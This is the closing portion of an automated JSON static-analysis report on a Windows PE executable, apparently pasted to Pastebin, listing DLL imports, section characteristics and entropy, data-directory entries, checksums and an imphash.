  1594. "address": "0x408088"
  1595. },
  1596. {
  1597. "name": "LoadStringW",
  1598. "address": "0x40808c"
  1599. },
  1600. {
  1601. "name": "DestroyIcon",
  1602. "address": "0x408090"
  1603. }
  1604. ],
  1605. "dll": "USER32.dll"
  1606. },
  1607. {
  1608. "imports": [
  1609. {
  1610. "name": "CreateDIBSection",
  1611. "address": "0x408008"
  1612. },
  1613. {
  1614. "name": "CreateBitmap",
  1615. "address": "0x40800c"
  1616. }
  1617. ],
  1618. "dll": "GDI32.dll"
  1619. },
  1620. {
  1621. "imports": [
  1622. {
  1623. "name": "ImageList_Add",
  1624. "address": "0x408000"
  1625. }
  1626. ],
  1627. "dll": "COMCTL32.dll"
  1628. },
  1629. {
  1630. "imports": [
  1631. {
  1632. "name": "WinVerifyTrust",
  1633. "address": "0x408098"
  1634. }
  1635. ],
  1636. "dll": "WINTRUST.dll"
  1637. },
  1638. {
  1639. "imports": [
  1640. {
  1641. "name": "_exit",
  1642. "address": "0x4080a0"
  1643. },
  1644. {
  1645. "name": "_c_exit",
  1646. "address": "0x4080a4"
  1647. },
  1648. {
  1649. "name": "_cexit",
  1650. "address": "0x4080a8"
  1651. },
  1652. {
  1653. "name": "exit",
  1654. "address": "0x4080ac"
  1655. },
  1656. {
  1657. "name": "_wcmdln",
  1658. "address": "0x4080b0"
  1659. },
  1660. {
  1661. "name": "__wgetmainargs",
  1662. "address": "0x4080b4"
  1663. },
  1664. {
  1665. "name": "_initterm",
  1666. "address": "0x4080b8"
  1667. },
  1668. {
  1669. "name": "__setusermatherr",
  1670. "address": "0x4080bc"
  1671. },
  1672. {
  1673. "name": "_adjust_fdiv",
  1674. "address": "0x4080c0"
  1675. },
  1676. {
  1677. "name": "__p__commode",
  1678. "address": "0x4080c4"
  1679. },
  1680. {
  1681. "name": "__p__fmode",
  1682. "address": "0x4080c8"
  1683. },
  1684. {
  1685. "name": "__set_app_type",
  1686. "address": "0x4080cc"
  1687. },
  1688. {
  1689. "name": "_controlfp",
  1690. "address": "0x4080d0"
  1691. },
  1692. {
  1693. "name": "__dllonexit",
  1694. "address": "0x4080d4"
  1695. },
  1696. {
  1697. "name": "_onexit",
  1698. "address": "0x4080d8"
  1699. },
  1700. {
  1701. "name": "_except_handler3",
  1702. "address": "0x4080dc"
  1703. },
  1704. {
  1705. "name": "_XcptFilter",
  1706. "address": "0x4080e0"
  1707. }
  1708. ],
  1709. "dll": "msvcrt.dll"
  1710. }
  1711. ],
  1712. "digital_signers": null,
  1713. "exported_dll_name": null,
  1714. "actual_checksum": "0x0002bd23",
  1715. "overlay": {
  1716. "size": "0x00001f18",
  1717. "offset": "0x0001f000"
  1718. },
  1719. "imagebase": "0x00400000",
  1720. "reported_checksum": "0x0002bd23",
  1721. "icon_hash": null,
  1722. "entrypoint": "0x00402656",
  1723. "timestamp": "2019-06-19 17:31:03",
  1724. "osversion": "4.0",
  1725. "sections": [
  1726. {
  1727. "name": ".text",
  1728. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
  1729. "virtual_address": "0x00001000",
  1730. "size_of_data": "0x00002000",
  1731. "entropy": "5.32",
  1732. "raw_address": "0x00001000",
  1733. "virtual_size": "0x00001936",
  1734. "characteristics_raw": "0x60000020"
  1735. },
  1736. {
  1737. "name": ".bss",
  1738. "characteristics": "IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  1739. "virtual_address": "0x00003000",
  1740. "size_of_data": "0x00000000",
  1741. "entropy": "0.00",
  1742. "raw_address": "0x00000000",
  1743. "virtual_size": "0x00004030",
  1744. "characteristics_raw": "0xc0000080"
  1745. },
  1746. {
  1747. "name": ".rdata",
  1748. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  1749. "virtual_address": "0x00008000",
  1750. "size_of_data": "0x00001000",
  1751. "entropy": "2.34",
  1752. "raw_address": "0x00003000",
  1753. "virtual_size": "0x0000060a",
  1754. "characteristics_raw": "0x40000040"
  1755. },
  1756. {
  1757. "name": ".data",
  1758. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  1759. "virtual_address": "0x00009000",
  1760. "size_of_data": "0x0001a000",
  1761. "entropy": "6.08",
  1762. "raw_address": "0x00004000",
  1763. "virtual_size": "0x000198f4",
  1764. "characteristics_raw": "0xd0000040"
  1765. },
  1766. {
  1767. "name": ".reloc",
  1768. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ",
  1769. "virtual_address": "0x00023000",
  1770. "size_of_data": "0x00001000",
  1771. "entropy": "0.80",
  1772. "raw_address": "0x0001e000",
  1773. "virtual_size": "0x00000278",
  1774. "characteristics_raw": "0x42000040"
  1775. }
  1776. ],
  1777. "resources": [],
  1778. "dirents": [
  1779. {
  1780. "virtual_address": "0x00000000",
  1781. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  1782. "size": "0x00000000"
  1783. },
  1784. {
  1785. "virtual_address": "0x00008104",
  1786. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  1787. "size": "0x0000008c"
  1788. },
  1789. {
  1790. "virtual_address": "0x00000000",
  1791. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  1792. "size": "0x00000000"
  1793. },
  1794. {
  1795. "virtual_address": "0x00000000",
  1796. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  1797. "size": "0x00000000"
  1798. },
  1799. {
  1800. "virtual_address": "0x0001f000",
  1801. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  1802. "size": "0x00001f18"
  1803. },
  1804. {
  1805. "virtual_address": "0x00023000",
  1806. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  1807. "size": "0x00000140"
  1808. },
  1809. {
  1810. "virtual_address": "0x00000000",
  1811. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  1812. "size": "0x00000000"
  1813. },
  1814. {
  1815. "virtual_address": "0x00000000",
  1816. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  1817. "size": "0x00000000"
  1818. },
  1819. {
  1820. "virtual_address": "0x00000000",
  1821. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  1822. "size": "0x00000000"
  1823. },
  1824. {
  1825. "virtual_address": "0x00000000",
  1826. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  1827. "size": "0x00000000"
  1828. },
  1829. {
  1830. "virtual_address": "0x00000000",
  1831. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  1832. "size": "0x00000000"
  1833. },
  1834. {
  1835. "virtual_address": "0x00000000",
  1836. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  1837. "size": "0x00000000"
  1838. },
  1839. {
  1840. "virtual_address": "0x00008000",
  1841. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  1842. "size": "0x000000e8"
  1843. },
  1844. {
  1845. "virtual_address": "0x00000000",
  1846. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  1847. "size": "0x00000000"
  1848. },
  1849. {
  1850. "virtual_address": "0x00000000",
  1851. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  1852. "size": "0x00000000"
  1853. },
  1854. {
  1855. "virtual_address": "0x00000000",
  1856. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  1857. "size": "0x00000000"
  1858. }
  1859. ],
  1860. "exports": [],
  1861. "guest_signers": {},
  1862. "imphash": "6909b3de29b892a005d65092b37a68d9",
  1863. "icon_fuzzy": null,
  1864. "icon": null,
  1865. "pdbpath": null,
  1866. "imported_dll_count": 6,
  1867. "versioninfo": []
  1868. }
  1869. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!